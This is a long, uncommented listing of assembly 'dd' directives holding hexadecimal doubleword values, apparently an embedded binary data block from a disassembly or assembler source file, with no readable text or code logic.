dd 0BED2677Eh, 0D0D7C1E3h, 0C7685262h, 99F3625Fh, 4FEB1C50h
dd 4B5DA7F5h, 0F0ECFB1Ch, 908DF80Bh, 96855BFh, 35A63AFAh
dd 556B24D4h, 8F229A60h, 55A80A02h, 754B5D5Bh, 2BC9C1E8h
dd 1B228FAh, 0C41E6102h, 70E1E939h, 72BE0408h, 0C226FA7Bh
dd 0C5618D86h, 82B02A58h, 0EC147B2Dh, 0EA014E43h, 3894928h
dd 0E95B385Ah, 1341411Ah, 96E36014h, 5CAF649Ch, 3B2A0304h
dd 0FEF237A3h, 215910E8h, 39F2D84Fh, 3ABBD1D2h, 536800A5h
dd 62849C40h, 14227D7Bh, 4C022FDh, 0C44471F7h, 746A81F7h
dd 2FB606C9h, 2C7949E2h, 7567F103h, 0F431E22Ah, 66C581ADh
dd 2F0B6D70h, 5A20BECh, 880BC5D6h, 60D8E7h, 0FE90B652h
dd 4E6C0C6h, 8AF68007h, 0C5EEF430h, 0D7BB44C3h, 50585896h
dd 0F64D0CB0h, 0C4A66D8h, 28F82C07h, 4B4F04F0h, 2887575Ah
dd 67A23FD0h, 8DD52D34h, 60980681h, 0BEB23AB3h, 0E939D3E0h
dd 0B6EEE295h, 0A7435F29h, 2C59E880h, 0F8580570h, 0A044101Fh
dd 66254063h, 0F2EAAB2Ch, 5D3E5B19h, 4A2CB73Fh, 4B0108C3h
dd 6AF644B9h, 9EB7077Dh, 38F8F373h, 4E84580Eh, 985B7768h
dd 65123CC1h, 4C007F0Ah, 0F0822EF1h, 0E9DE0931h, 20CC1230h
dd 7DE762B7h, 376AB379h, 53B11C96h, 54B0F728h, 320B106Dh
dd 84DDF75Dh, 0BE3428F2h, 8F826B44h, 0CBDE27EFh, 5A083355h
dd 0F8A9532Dh, 5238C419h, 0FBF38100h, 0C47BE2BAh, 1686A035h
dd 0CCEFF1EBh, 361C3B7Dh, 8C7C5F55h, 0B30BBCE9h, 2B7909C9h
dd 930018F8h, 339B4FB8h, 0A1C6E91Ch, 5316D72Dh, 5EB6EFFEh
dd 5567D725h, 0E9E6FD25h, 0A76DFB30h, 5C323AEDh, 9524B4E3h
dd 29F5AFA2h, 12B99673h, 926833E9h, 4ADD05F4h, 4457714h
dd 8AB4D5A5h, 0A1BB5302h, 5727C251h, 0E6617562h, 2C9C4001h
dd 0FFB0EB4Ch, 0C7D1DB28h, 0DF076631h, 0B41702C4h, 5E3A92CAh
dd 5CF280F7h, 9D56D852h, 0D460EA42h, 0A0B7736Dh, 707A8D09h
dd 5A095855h, 0A5B73526h, 0E9D8B87Eh, 0BBC75E73h, 0D1299561h
dd 1E7884F5h, 0FB2C4B56h, 1DBC1093h, 25828A05h, 84342D6Ah
dd 73A83581h, 50AA29CCh, 1B95B800h, 900D72EDh, 320A2575h
dd 52F44BE4h, 762B1813h, 0DD9D80BBh, 0B125C1E6h, 641BA089h
dd 0EC52235Eh, 48FA09CEh, 907D02C2h, 2D38D3CAh, 0B3C66BF1h
dd 5A1CE0BDh, 0BD0801E9h, 620D933Dh, 0F6FD3B29h, 0B909FE25h
dd 1854B9F4h, 0C85559C8h, 612F3B46h, 4F655006h, 54158851h
dd 440E0D97h, 42669D3Eh, 80001AC0h, 4D208AC2h, 0E3019DD3h
dd 71E9F330h, 55229A4h, 1091AB4h, 3CDBE801h, 97B5745h
dd 4EE22F83h, 67DDA86Ah, 0DD77B80Bh, 4A7E4C4Ch, 0AF16BA0Ah
dd 23EC796Eh, 0E047550Ah, 2FC201A6h, 8213D941h, 0DF9C1E0Ch
dd 2061D61Ch, 0E47414EEh, 5515E344h, 0E82508BDh, 38249C7Bh
dd 117F2819h, 0C23DBC7Dh, 72560FFEh, 0A81CEA01h, 15A2B508h
dd 6E4926BDh, 99C0FEC1h, 8BEEACE2h, 0E7B2084Ah, 0BF5400DEh
dd 0B3C9E97Dh, 0EDD1DAC3h, 0CE3CC145h, 9BEC442Ah, 96A9AA79h
dd 0A7A908B1h, 27DEFE22h, 0A03E227Bh, 2D5F02D8h, 407056DBh
dd 5058185h, 0E08DE907h, 8B976643h, 4CB702ADh, 0A0C75D53h
dd 0AF0BE420h, 0FC5CAC1Ch, 6EC70264h, 4D42CB5h, 9521782h
dd 0A05561D0h, 3D6D8AD4h, 30FECD01h, 0EECFD71Ah, 0A83F18DEh
dd 0D5F126C9h, 8D7B5DC9h, 8897DCCBh, 5E1DE540h, 6A8A698Bh
dd 8F47B19h, 280B53C8h, 0BD8C05F3h, 48835082h, 8249542Ah
dd 81B98A5Fh, 1432A80Bh, 7DF0B544h, 0A562FB9Eh, 0ABC62037h
dd 35FDC0Ah, 84029FDh, 6850095Dh, 30DF5A48h, 5B34E95Ch
dd 4B1AF2E4h, 39301CF1h, 6C26B59Eh, 85A0607h, 1431EFBCh
dd 0A502C76Dh, 44915593h, 54AA5250h, 0A2966C77h, 2F0BD70Dh
dd 9C5403FEh, 3B0802D4h, 0E55D6CB9h, 4E7A8857h, 0EA2F682Fh
dd 325D956Dh, 6A9A39D7h, 53285128h, 493431FDh, 32489A19h
dd 383707F1h, 8DEF2399h, 37613B66h, 0B55EDDDCh, 46E23EFCh
dd 62697C43h, 0A97612C6h, 77597F61h, 0A37A5AC9h, 966A610Fh
dd 67280655h, 2707032Ch, 6D424562h, 627871D7h, 3AC1B0F7h
dd 0DF816B6Ch, 0D2043862h, 0D360DC02h, 7CE6BE3Bh, 31466113h
dd 4AAF016h, 194BF054h, 1170066Eh, 40707507h, 3F168F65h
dd 0AF010CBCh, 32E931CAh, 5C691A00h, 0BD3BCF98h, 21AF9CC6h
dd 0FFE9EB44h, 0B64E17EBh, 4081481Bh, 637A9984h, 0F7105F66h
dd 0F9890B0Fh, 204143E9h, 8C01D425h, 0C2273F7Ah, 5A627C19h
dd 0AC64D204h, 5923C5B7h, 38B044FBh, 94E8BEE0h, 4A4A6F85h
dd 0A8DDF1CAh, 12A45545h, 6B2054DDh, 3A5F8155h, 0C922CBAh
dd 6398E392h, 68AE0507h, 85C52D4Ch, 0EC468CA0h, 5E7895F9h
dd 4CA8FB1h, 5E760D89h, 0E107651Fh, 90E96C94h, 66027FB0h
dd 0FE9374Ah, 4FBAF76Dh, 9B53A84h, 133F7428h, 4BB0F8B1h
dd 0E90932CAh, 0C4EEB08Bh, 4B75AF6h, 80AB297Ah, 92569DFCh
dd 0F15E2427h, 17781655h, 1AFB85Eh, 895FE488h, 0FA69FB31h
dd 3487DB10h, 11FE9255h, 0BAD64131h, 8EA9C617h, 9618D8B1h
dd 0ADCDE221h, 61C18D40h, 662858D7h, 726BE91Ah, 0DAFC5C55h
dd 66118BFDh, 8ED0102h, 1566471h, 82CA0FDh, 9088E95Ch
dd 48F0078Fh, 0EDB20D67h
dd 8B5FF45Dh, 2E665449h, 0D178899Dh, 0E1FB641Ah, 0D5A82F0Fh
dd 582F6EB6h, 8E1F513Ah, 0B856B3FAh, 0C2EE4BEDh, 6340E010h
dd 0BF80A860h, 0CC0201C6h, 11E78118h, 2007D537h, 0E9124FF4h
dd 81EC1C63h, 7D4933C3h, 6EE581E8h, 485F5816h, 1F4E95F4h
dd 8140E84Dh, 47179DCDh, 64864073h, 0BB0EE5A7h, 6A5DE929h
dd 6213B4CEh, 0D2C89A34h, 485E41B2h, 0CC3168EBh, 0BF08FD12h
dd 7B1CF72Eh, 0A03CFC27h, 2260A3BBh, 18564834h, 171E4710h
dd 0FFFC6FEh, 4A65C221h, 0CDD8D13Eh, 7BE23F0Bh, 2D2C829h
dd 51A905E0h, 278C1440h, 0E97B8704h, 0BFFD9DA6h, 3C452304h
dd 0F8F2DC7Ah, 0F728DA40h, 19E5B221h, 0BD12072Fh, 6588804Eh
dd 6C627768h, 0F7719431h, 2AF31046h, 0E54050AEh, 81D7232Ch
dd 0A4753CBAh, 0C70F2B7Dh, 34BBB268h, 0EA8CC1EAh, 0FFBF0228h
dd 647FE7EAh, 9AE79840h, 3B681BF2h, 29D27F21h, 1251C71h
dd 0E1455241h, 42005D0h, 2971C509h, 5317C4F0h, 0D2D01008h
dd 17873417h, 0B508C41Fh, 0CD9FE4A4h, 0BC47DCB5h, 44791013h
dd 0CC7FD38Eh, 52FC57A9h, 0F1E8F15Dh, 0EC23363Ch, 0BD85329h
dd 0EC77FE8Dh, 24EE8282h, 9CAF8999h, 0DD00B907h, 0B8535F6Eh
dd 5AE4D77Eh, 780DF4D9h, 762500B6h, 0D709C933h, 0E9A44AF8h
dd 0BF985C9Fh, 18FFBCADh, 261B7D9Bh, 146D1E34h, 3A18DF03h
dd 5FFA3F8Eh, 0F2818394h, 2DCE66F8h, 7E02129Eh, 0E1284B05h
dd 5FC4829Eh, 68E2D100h, 0BD7E4820h, 2B107DD0h, 1C680CA6h
dd 0BF1DF93Ch, 90E178Ah, 98592701h, 1306808Eh, 58EB9CEBh
dd 68851C99h, 1A8C2111h, 0CDBF255h, 5D5B4964h, 9B1629FCh
dd 0A312A4B6h, 0BF382E4h, 843BEAAAh, 0B37C60FFh, 0BB1CC0C1h
dd 2B7A0EC2h, 1ABA5200h, 0E9635E70h, 0F470B2E8h, 5CA3F6C0h
dd 62F8727h, 0D4772362h, 9593741Ah, 5FD56804h, 0F81B68BFh
dd 77B1C5B2h, 29E1E713h, 1C56CB7Fh, 5D278A05h, 9790806Ch
dd 630A6A2Eh, 5E1CEF96h, 0F33293C2h, 8034E317h, 97ECB99Bh
dd 945F2E89h, 0B1497DBh, 10DC5E48h, 881D52B0h, 0DEAD79CCh
dd 0E3C2D9E3h, 3974428Bh, 0C9C08619h, 0FBD6464h, 4981723Dh
dd 98F6E56Bh, 3701F61Ch, 6C12683Bh, 0CAC5B429h, 4B1D8A60h
dd 0FABB64EBh, 630B4765h, 0B28F028h, 6AB668ACh, 7E35B877h
dd 0D9588184h, 5C0CAF4Eh, 2E8971DDh, 977E361h, 58A20768h
dd 95D46EFFh, 7E51747Eh, 0E892667Ch, 4C282A3Fh, 4CD38839h
dd 0A62D7D53h, 0E177F619h, 381674E9h, 0F79680B6h, 0E4C631D0h
dd 5608C9F0h, 938E45DDh, 0D20117E9h, 0F37D70A4h, 536D310Eh
dd 0EA27B54h, 0CFDCBBA5h, 0D2615CB9h, 0DF053BD4h, 0D8633568h
dd 654964E5h, 9BA84FE6h, 6C018371h, 0F6013B3Ch, 0FEF4DE89h
dd 0BB8DC006h, 0A21156Eh, 0B1684B3Dh, 0AACD7144h, 0CE8AC05h
dd 0C400867h, 330A13E8h, 9F55017Fh, 823C4D15h, 0FB1D3E18h
dd 27D9F606h, 946365F1h, 0EE5302A6h, 64D17025h, 0C6A661FDh
dd 0F45F0842h, 6CEC0769h, 8D0C08ADh, 5AE99E61h, 5E77091Eh
dd 0DF23B0F5h, 5818C1FCh, 8B51C768h, 4907C6C3h, 956C5A68h
dd 4D9582A4h, 2827E00Eh, 135866C3h, 0AFE3EB80h, 0B41F76E6h
dd 27F44292h, 0E077C4FEh, 0EADAE4EFh, 42E6F9D4h, 621C7782h
dd 39BDDB2Ch, 0F867056Fh, 0B62928BAh, 0C1B96F4Fh, 0A8141CC5h
dd 7F2D89B0h, 16A2CA48h, 277967BFh, 7E43017Ch, 21681641h
dd 97F1E2D1h, 96685380h, 9E8D9112h, 6624956h, 0A1069C46h
dd 593EE533h, 52042434h, 654E00A9h, 2D58619Ah, 0D3904F73h
dd 75D33507h, 18A547A0h, 1E9C413h, 98D6A05Ah, 5D5A6761h
dd 0C03FF109h, 0E327311Ah, 0A820397Fh, 0E80118AAh, 17468A52h
dd 5E757401h, 943DE94Eh, 0E2429836h, 0BF54C912h, 0BF02E5E6h
dd 0DA2464Fh, 661E7040h, 29730109h, 0F7BC00DFh, 5C79524Bh
dd 0B65EA802h, 9FCD2693h, 0F23F31A6h, 5013DCBDh, 0F34B685Dh
dd 0F08488A9h, 0F2800245h, 0F048551Fh, 0DA0B8688h, 7A14F653h
dd 5354E13h, 81665EEDh, 0AF281A30h, 13355EA0h, 8B008797h
dd 0D2B5BAD8h, 0B25797ADh, 6DC47D98h, 0BF408A20h, 0E958C45Eh
dd 14B7BAEFh, 0E02C383h, 0BE27FC4h, 0AC32615Bh, 8021076Fh
dd 1E2CA2F5h, 76204778h, 48FB077h, 0D91C4FBBh, 0C1C5F059h
dd 2D03E801h, 0FCEAF276h, 0C755B06Fh, 81A18458h, 0ED54CD18h
dd 59C0C07Fh, 5D4CE809h, 0FC2D1EAAh, 0C3EC2ED8h, 0E3490E57h
dd 0C2B6E972h, 40D75B24h, 8774FB4h, 0DA291B2Eh, 0B09D0820h
dd 0B5D50159h, 507104D4h, 0B262BB2Fh, 26957EACh, 9CD5271Dh
dd 0B9510062h, 450310ABh, 0AF62F181h, 5BCB010Dh, 35B10832h
dd 6F79C582h, 93E07F48h, 0BE2D2571h, 80BCE59Eh, 1A551945h
dd 0DD4B61E9h, 0C1C4ECB8h, 669CBF52h, 35544013h, 813B2E09h
dd 88B4C571h, 0EE813FBFh, 0D2BDA977h, 0CCF4F0F9h, 45A796BCh
dd 0E1298257h, 0E4BB5904h, 4EF22D7Ch, 0E384062Fh, 2DBEE513h
dd 50B166BFh, 7C5E1110h, 367C97CAh, 128FE7B8h, 1C570207h
dd 0F6855E23h, 87A20712h, 4C01BED9h, 34099FDDh, 7D212AA7h
dd 2E1E5C0Dh, 0E807601h, 0A87A2282h, 0D5E68B02h, 4557619Ah
dd 0E95C6041h, 0FF4E5AF7h, 0A7499EAh, 134E484Fh, 617974h
dd 0EC2F538Ah, 0B4BBA41Eh, 314ED7ACh, 0B2C6DFE8h, 0BE0632DEh
dd 26465B96h, 90B0ED0h, 0C1C0CC30h, 4AF859D0h, 55F12903h
dd 7E41E9h, 46B3E3C1h, 4683267h, 0A3CC424Fh, 30CE58ABh
dd 6BEDE8B1h, 50E1F258h, 0CDD2A154h, 7268B550h, 16269312h
dd 0B9F0F0FDh, 0DA10C30Fh, 7C24B272h, 6612FB04h, 768811Dh
dd 59458250h, 31B47E9Eh, 77B9164Dh, 30EEB88Ah, 112E0E51h
dd 2821514Bh, 955E4730h, 65EA4520h, 0D59501D2h, 3ACA9F83h
dd 833FCF81h, 2E252150h, 0EA610257h, 0C12FA551h, 535B9370h
dd 0E95820BFh, 7CBFAD4Fh, 44F56B9Bh, 0F6E9195Eh, 3ABF2099h
dd 494FF2EDh, 3BE85F2Fh, 0D782CA82h, 46270C4Fh, 0D9B42CFDh
dd 0AA3C1462h, 885152C0h, 0CBE653E1h, 2FC570EBh, 0AF8C94Ah
dd 74E0BEC0h, 0E2B76143h, 0A8C6FDB7h, 0D3C95B0h, 0D12F8B09h
dd 6A8B05E6h, 490B93F6h, 805741F2h, 7670B23h, 7E0EC24Bh
dd 8C5EA013h, 2CD39A31h, 80EC4770h, 45133BB9h, 0D1C0D92h
dd 5ABA402Dh, 0D4169F59h, 0C31638C1h, 0D730016Ch, 6208A2BFh
dd 9BE25838h, 0A2D39D58h, 78D9F82Ah, 67FC504Bh, 4A8B7DADh
dd 81B190AAh, 7E1665E5h, 9E95031h, 9EF5B02h, 0CECB25E9h
dd 0B7B9DFF3h, 93EC6B56h, 44D117C9h, 0D30EB04Ah, 0A6BA1268h
dd 201794BEh, 0C13831BAh, 813CCBCEh, 3684EE91h, 0EC6B02A4h
dd 0E180990Bh, 2DEB8000h, 73F4F3E0h, 79727752h, 395D04Dh
dd 0F95494B9h, 0DBB4D1C0h, 9FE8E36Ah, 2AF90D8Bh, 0A6020ADDh
dd 0C1655422h, 8A20BDCFh, 0DE293FDBh, 1DF54CF3h, 0C6044722h
dd 73159F8h, 8419C2C0h, 0BC1C5FD8h, 37A99F99h, 0F2C0D24Fh
dd 2DC0CEB4h, 970102E4h, 2AFC20ADh, 0F21904FDh, 2E97287Ah
dd 0AC7D5DFEh, 1B2EF5h, 4A0A0387h, 1A090558h, 9A717F76h
dd 0F41E4234h, 1284E2A9h, 0D8038009h, 4406F18h, 0DC922B35h
dd 6540AE8Fh, 883899EAh, 416A955Dh, 6AFD080Bh, 60754119h
dd 4984EF04h, 0AF1CFC0h, 4A317EC3h, 52328756h, 0F5493BE2h
dd 0EBF43EEEh, 1C67B933h, 266C42C1h, 0E5752930h, 0D76885B8h
dd 0D359EC4Ah, 5BE05DBBh, 0B0D35BB5h, 98470B3Dh, 0E0971DCFh
dd 7E2D0002h, 5704614h
dd 0A830EF36h, 0BCE9E667h, 0DDE69766h, 95B68E30h, 2DAC22EBh
dd 0BE0CB134h, 1617D312h, 298041D6h, 0C14F2815h, 1DE95148h
dd 2BD03F8Fh, 4916E0EEh, 0A2002442h, 2D4952E6h, 83243306h
dd 0F0286670h, 88349516h, 8BE7BA00h, 97762E1Eh, 0FCBF0BF7h
dd 5E5D00ADh, 8FE90F54h, 0B7F26C5Eh, 6FF2891Fh, 0F13CB4E0h
dd 1C32E9E4h, 57BDBCA1h, 8B4B64AFh, 0FD094AE0h, 6205F78h
dd 215D26ECh, 0A9CB0894h, 59EF8800h, 0B966F830h, 2277CBDEh
dd 0F7B4AFCEh, 7D0E8D31h, 3AD841E5h, 50B05DFDh, 68045357h
dd 7823255h, 5F7EFDABh, 719661FFh, 5D5001F1h, 6E9D997Eh
dd 65488CF7h, 0F94CAD05h, 90CC1713h, 0F37CE977h, 249B659Dh
dd 374C8920h, 79A13DFh, 0E4ED538h, 3FA2E210h, 0A0B5CE5Fh
dd 91E6F87h, 0D50141A6h, 5E5AE785h, 5C880B13h, 40162CE8h
dd 8CDFC82h, 838F110Ah, 0FA294662h, 1F10D31Bh, 80BEC9ADh
dd 0AD912304h, 3EEB0297h, 0E057DF46h, 95037128h, 40099B45h
dd 2083C6A1h, 5F3FE613h, 5EBECCD1h, 74BFBDC5h, 94D7F2C7h
dd 8247100Eh, 4214AC58h, 277D1D4Ch, 6CA07535h, 3B046E92h
dd 164A94C8h, 149FD89h, 7D6C5752h, 3971C701h, 5AD70811h
dd 0AAD76429h, 4C689C42h, 63B67644h, 0E3264580h, 0C08555F3h
dd 0A4F007EBh, 0FB1A73E3h, 622030CDh, 243B60FAh, 7B121DBAh
dd 40BD3401h, 312C974Fh, 0E6BFD641h, 0E57EB87Eh, 0D339F3FBh
dd 0A3BB6552h, 0D3BDA542h, 0EA1BF785h, 4AE98A2Ch, 0B92F0090h
dd 2FF84503h, 3F9EEAF4h, 29045804h, 27289EC3h, 167F31A1h
dd 0E3CF2A9Fh, 5AD028D2h, 0E7DB90BAh, 4A5264F4h, 0A22CAC79h
dd 2A0D69F3h, 0E40CA16Fh, 1C7D28E6h, 25C63AC2h, 78825F3Ch
dd 0B80F05A6h, 254716F0h, 0A5A25729h, 0DD2B5952h, 0BC7CE2A9h
dd 2E297AF2h, 0A88182B5h, 72BF3776h, 4EA24EC0h, 9EF907BDh
dd 28674888h, 384D1C94h, 0D6290933h, 0DE1C864Ch, 3D2ABF57h
dd 0E878BE09h, 69480062h, 900AAC19h, 8267B063h, 1F68F708h
dd 3A978F45h, 89D41A43h, 0B4B45ED9h, 0C053AF86h, 0BBDE5D0Ch
dd 9F1217CAh, 84EE06Ah, 324EC9FCh, 4C805297h, 9549572Ah
dd 6F6FEF69h, 0F6FE6712h, 3AC9174Fh, 935A8D2Ch, 6561242h
dd 9F528ACDh, 0F4A5EE2Dh, 95D62505h, 1ACB531Fh, 0AD235C7Dh
dd 5D0BA3D6h, 92D9F64Fh, 0C06DACB2h, 0B55109B6h, 0ED802684h
dd 70A70B19h, 0B9804ED9h, 30A247B7h, 17AC0BB8h, 49D56F3Bh
dd 0E46A58A0h, 50131B68h, 43B45F99h, 283C996Dh, 0C88F20BFh
dd 0CA7F5870h, 0ED854329h, 8F7C4A02h, 90507727h, 0F597087Bh
dd 0E0282698h, 0DAF74B12h, 6CAB1A04h, 0F0215B02h, 0ACB647F7h
dd 6A5A4274h, 30716C75h, 0C01051D0h, 7C107EAh, 80CF280h
dd 982E4CFAh, 8570E12Dh, 1D6AE780h, 72EB5D86h, 0FFD13306h
dd 3071DF49h, 0A62B388Ah, 3761E961h, 0CF4DD17Eh, 87FB0466h
dd 0EAE5E408h, 17BA3613h, 5AC9CB81h, 0A5B410C5h, 0CA6D5BE0h
dd 94E9846Dh, 3158B891h, 0BA85942Bh, 0B55DF12Ch, 0AA3195CCh
dd 0F681395Bh, 0F52D3A8Bh, 0AA6EE384h, 0ACD780A2h, 86BAB5F1h
dd 0B80B30CBh, 56432894h, 0D911A4Fh, 5A151FFh, 0D18D68E9h
dd 9006EBC5h, 317C38BCh, 2D0B64E4h, 376C2F72h, 0E5A4957Dh
dd 2998BBE3h, 0EB0A1318h, 0F314AA7Ch, 85FC059Eh, 56E83AC2h
dd 2E2CAA4Bh, 0AE9185Bh, 43B27F44h, 0B1DCCB7h, 1A8516EBh
dd 0E9173CE0h, 0CDE57A3Eh, 36F54E9Bh, 2CD69BEFh, 0EB375498h
dd 18D7BBC6h, 1E441AFh, 2B0FE9DDh, 5406500h, 9DA81Ch, 0CC254866h
dd 0D70626Ch, 54717BE8h, 99E9521Eh, 480448B1h, 907892DDh
dd 662DAD03h, 579F2A41h, 6C7D00F4h, 551D801h, 68FA2F07h
dd 0BD31E914h, 43B34AA7h, 32AD6DDh, 389ABFD4h, 0E78147B0h
dd 51168607h, 116CD17Dh, 4DCA0464h, 0ED5276E9h, 0F15BC971h
dd 3D06891Dh, 0F54947F4h, 635EAE49h, 0D689C47Ch, 673D38EFh
dd 0D23B6F41h, 8DF8C013h, 0C426577Eh, 46C40D5Fh, 0B85E3EB8h
dd 5E90592Bh, 0E61AFAF6h, 0F3403FB1h, 667B381Ch, 0EF65E32Fh
dd 4EE82823h, 9480A53Ah, 0A0F60932h, 9C158C68h, 53736E06h
dd 1A16BC01h, 750C354Bh, 37E9B1BBh, 0B21AA655h, 0CF34F15Bh
dd 0BC5A1C96h, 80B1B067h, 59CB0728h, 7023B652h, 0B45088F6h
dd 0A2E93012h, 84FF1856h, 0CACEEF2Eh, 5301E346h, 5B506852h
dd 0EBC645D2h, 65EC3C17h, 71DC0E75h, 0F2C30E43h, 0C803004h
dd 0E927D389h, 0ABA075EEh, 352A7156h, 3D3049B4h, 3B5B4CC2h
dd 0C7B7CB6h, 198E7AC6h, 7F125654h, 43807D4Ah, 902FBC67h
dd 540D05DCh, 0E0091FACh, 84B5C0F7h, 0E3FA50BFh, 5049335h
dd 0BF12A354h, 0A47FE9B1h, 995D94h, 7F8E985h, 684938FBh
dd 0E215AA0Bh, 48978405h, 346E4B1Dh, 0CCF5C9DDh, 0BB37307Ah
dd 0C0007BD2h, 95CB8149h, 4C3D7976h, 80096C57h, 168E8206h
dd 0B800B0C8h, 73B2CC4h, 4D063F7h, 0E00E0C1h, 4A8735D8h
dd 3A057431h, 75A739F3h, 6A279158h, 3DE3D2CAh, 40D40368h
dd 276E5FB3h, 0FED3459Bh, 284CDAD0h, 0AF6596D8h, 5F256BD2h
dd 5F096659h, 0FB8F4420h, 12AB1333h, 42D9EB64h, 4B6FF73Fh
dd 4EA42729h, 253F10ADh, 2606FE46h, 0FF470E92h, 0F452A833h
dd 7D4F39AFh, 12E880C1h, 0B787C3E9h, 0F2EFF9FEh, 8F55B2AFh
dd 0E3A837E9h, 9738FE5Eh, 0AF5B2EE9h, 182680F9h, 0DF313465h
dd 0ECF3B4F7h, 0D660F2FAh, 418DD90Bh, 0F62E318Dh, 0C5E84B5Fh
dd 2B39BF09h, 76CA005Fh, 107AAE38h, 15788E9h, 8561F581h
dd 7EC82FAh, 0A087C1EAh, 3A527B53h, 0C1E124AEh, 81913103h
dd 4A7E680Ch, 0FAE8534Eh, 664CCF71h, 0BA3A0264h, 0E7A7CFFCh
dd 0F729C951h, 0E9C1075Eh, 8D8108E1h, 0DD7D02E2h, 69EC2036h
dd 9072CCCBh, 0C55FC3DEh, 8C49337Dh, 0B9095195h, 0FC76CE0h
dd 26450C96h, 2ED877F6h, 0C5931027h, 0ECDC5796h, 5E74041h
dd 5B592D5Fh, 0ED2F8A8Eh, 706B857Eh, 4A9AF95h, 9E54D897h
dd 987C509Fh, 40AA5AD2h, 70C3EEF3h, 0DA9D2083h, 0D40882D5h
dd 3E845940h, 4F219E02h, 678EC11Ch, 97CA0F05h, 47BA0405h
dd 7442D581h, 0E1278017h, 0C53005EDh, 5D3B0C37h, 0E0294FE5h
dd 50022204h, 4B6823EBh, 4A6EE655h, 15C2F058h, 0C86F88BEh
dd 600B25DBh, 0B626495Bh, 22EB1116h, 42C1E8A7h, 44C47B7Ch
dd 0F858070Bh, 164F6066h, 64DB5ACEh, 601FE912h, 5A05FA53h
dd 3453C0EEh, 0DC64D761h, 6C49E38Ah, 4405C3DDh, 0EDFCEEECh
dd 3C7628B1h, 0C21B8427h, 0B304FAF9h, 0EB24E475h, 80204B1h
dd 4BE343E9h, 847FEC35h, 0E8ABC292h, 31B0F113h, 130B9216h
dd 0DD530B54h, 0AEBD20C8h, 0E4CA8980h, 0BE5A4BD5h, 0C59A838Ah
dd 4AB844D5h, 98DBC45h, 772C3E2Ah, 34168601h, 5B856E60h
dd 21EA2A00h, 2CE93A0Fh, 5A203830h, 59B30768h, 0C36D5427h
dd 9DEB9B5Eh, 5F8821Dh, 0D921F0C8h, 0C10042A6h, 44551D79h
dd 3C5AC5E9h, 5D84B6E9h, 0F82807B6h, 0A04ECF72h, 1D22F587h
dd 823D5F8Fh, 66F55F24h, 2D6741D2h, 0F9D311BBh, 349CC102h
dd 0C077B4A8h, 4B5E689Fh, 2B8F36Ch, 6A934972h, 0CADDC242h
dd 0BD52FF00h, 23298D16h, 5FC2D100h, 4FE0967Ch, 87A4C109h
dd 14761675h, 0A95382BFh, 3816BA4Eh, 49597BECh, 0BDCBEE4Ah
dd 0BF732B12h, 9826AAB7h, 0CAD7A77Fh, 668A41F3h, 7B118A2Fh
dd 0FD30992Dh, 0AFD22B1Bh, 5C2D42D6h, 4F16EECDh, 0AF138BE4h
dd 0E9C3E5F3h
dd 6B029839h, 0FECA35EDh, 25656851h, 7C0B24F7h, 0CDF2096Bh
dd 7E05DCE9h, 1D2D43F4h, 25043819h, 0F87D6F1Ch, 7016BF80h
dd 217E1F5Fh, 48A109FDh, 0BC5B19F5h, 0F63F3765h, 11F59149h
dd 0F30362E7h, 705976A4h, 64224DD9h, 6690EAA4h, 19D7F20Dh
dd 3BD88EB1h, 0A84151EBh, 241BA16Fh, 86A3D57Eh, 0BB729D8h
dd 4093890h, 82F37D4Ch, 0FAFEE920h, 53EDEDABh, 0C7DC60AFh
dd 228EE452h, 0DBB71620h, 42E942B7h, 8C4FD47Dh, 310C253Ah
dd 8209FE49h, 0D273D668h, 0D0F1C0BAh, 0BEF680EEh, 377DC6E6h
dd 2F3A5459h, 58307C57h, 0E02F439Ch, 67791145h, 5A3434h
dd 2047C75Dh, 7B091886h, 0DF57293Bh, 0DBB3AED1h, 3429BE2Bh
dd 2D270BB8h, 0E949815Fh, 77265BABh, 49E8A477h, 0B45E3E68h
dd 0D097523Fh, 0FAF362ECh, 800926BEh, 1B1C334h, 0EB88CF9Ah
dd 8C08A81Ch, 0B8D17EB5h, 6F44204Bh, 0F9EE8790h, 8F09F99Ch
dd 0E38DDE47h, 0AE846BDEh, 0BEF5FFF8h, 4FE9BA3Ch, 12A49486h
dd 739EBF9Eh, 1723CE4Fh, 0D0BC822Eh, 9B0AB8F1h, 0BA8C611h
dd 1E68532Bh, 529E96D9h, 0B6C1B387h, 5BDE3061h, 0C9D0906Ah
dd 104DE994h, 8AEE4A1Ch, 0FD2884BEh, 33546581h, 2FD8CD2Bh
dd 80427E5h, 0AF3795BFh, 47780689h, 692F614Eh, 45F41746h
dd 0AC5CCD35h, 104376DEh, 0A1AB5B6Ah, 0F64630FFh, 15374217h
dd 301AEBF0h, 6E0C728Ah, 0A217AD28h, 0F3C579E9h, 0D3DE3EA8h
dd 2D6BA0C6h, 2AF0330Fh, 6A624492h, 5E91E6BBh, 0FB1318FCh
dd 0C5FCA897h, 0E7FECACCh, 575A0009h, 9A19FABFh, 0E781023Ah
dd 1B5154D4h, 91091578h, 0F821F812h, 0AA107141h, 1DC475B3h
dd 0B500D64Ah, 9A1D0AB9h, 0BD550274h, 3A4036DCh, 0C567A0DDh
dd 0A15529Ch, 276AE90Eh, 1EEF80D7h, 8908E7B6h, 575FFE2Fh
dd 0FEB7F404h, 54BC3E13h, 5EEE82A4h, 32099857h, 0A73F9942h
dd 0E95B40D5h, 98C569BFh, 0F6CE6E74h, 3B26913h, 0D2750D9Ah
dd 41E4CF3Bh, 0BB0AEBC5h, 81441D4h, 0DBE95F11h, 3A7875B2h
dd 190D18A0h, 209E4E9Fh, 5350B674h, 4D0B8DDBh, 75291FA8h
dd 0C751A964h, 7047E10Ch, 48415887h, 1E066160h, 0C96BE47Eh
dd 0EB9071E6h, 0C6FEEE87h, 0CA551907h, 54BB29CDh, 0FC57C4D0h
dd 0F840B1CEh, 9E1EBF04h, 66771F38h, 8DE8EF12h, 98A809DFh
dd 0ADB7EFDFh, 1CD38840h, 710AF2A4h, 9C688903h, 39BBFFA7h
dd 787ED8E9h, 0A58FA3A7h, 378A0764h, 212C8E16h, 2746B56h
dd 26E8C05Dh, 7BD22C79h, 0D1491262h, 2AEF91B8h, 0E0B4C122h
dd 0B544755Dh, 0C9C38C99h, 12AF39DEh, 0A7EBD313h, 0AA2C07B4h
dd 978ED028h, 806F0039h, 0C1807FC8h, 0F1247273h, 92E613D8h
dd 0D8C7BCBBh, 9CBA1BE9h, 514B6639h, 723BDDADh, 1137AF9h
dd 84BA4122h, 58080910h, 0C8CA0243h, 801930F8h, 0E406CFEEh
dd 25EF0F6Ah, 0BBA422E9h, 9F4CC057h, 46ECE01Dh, 0F4527F94h
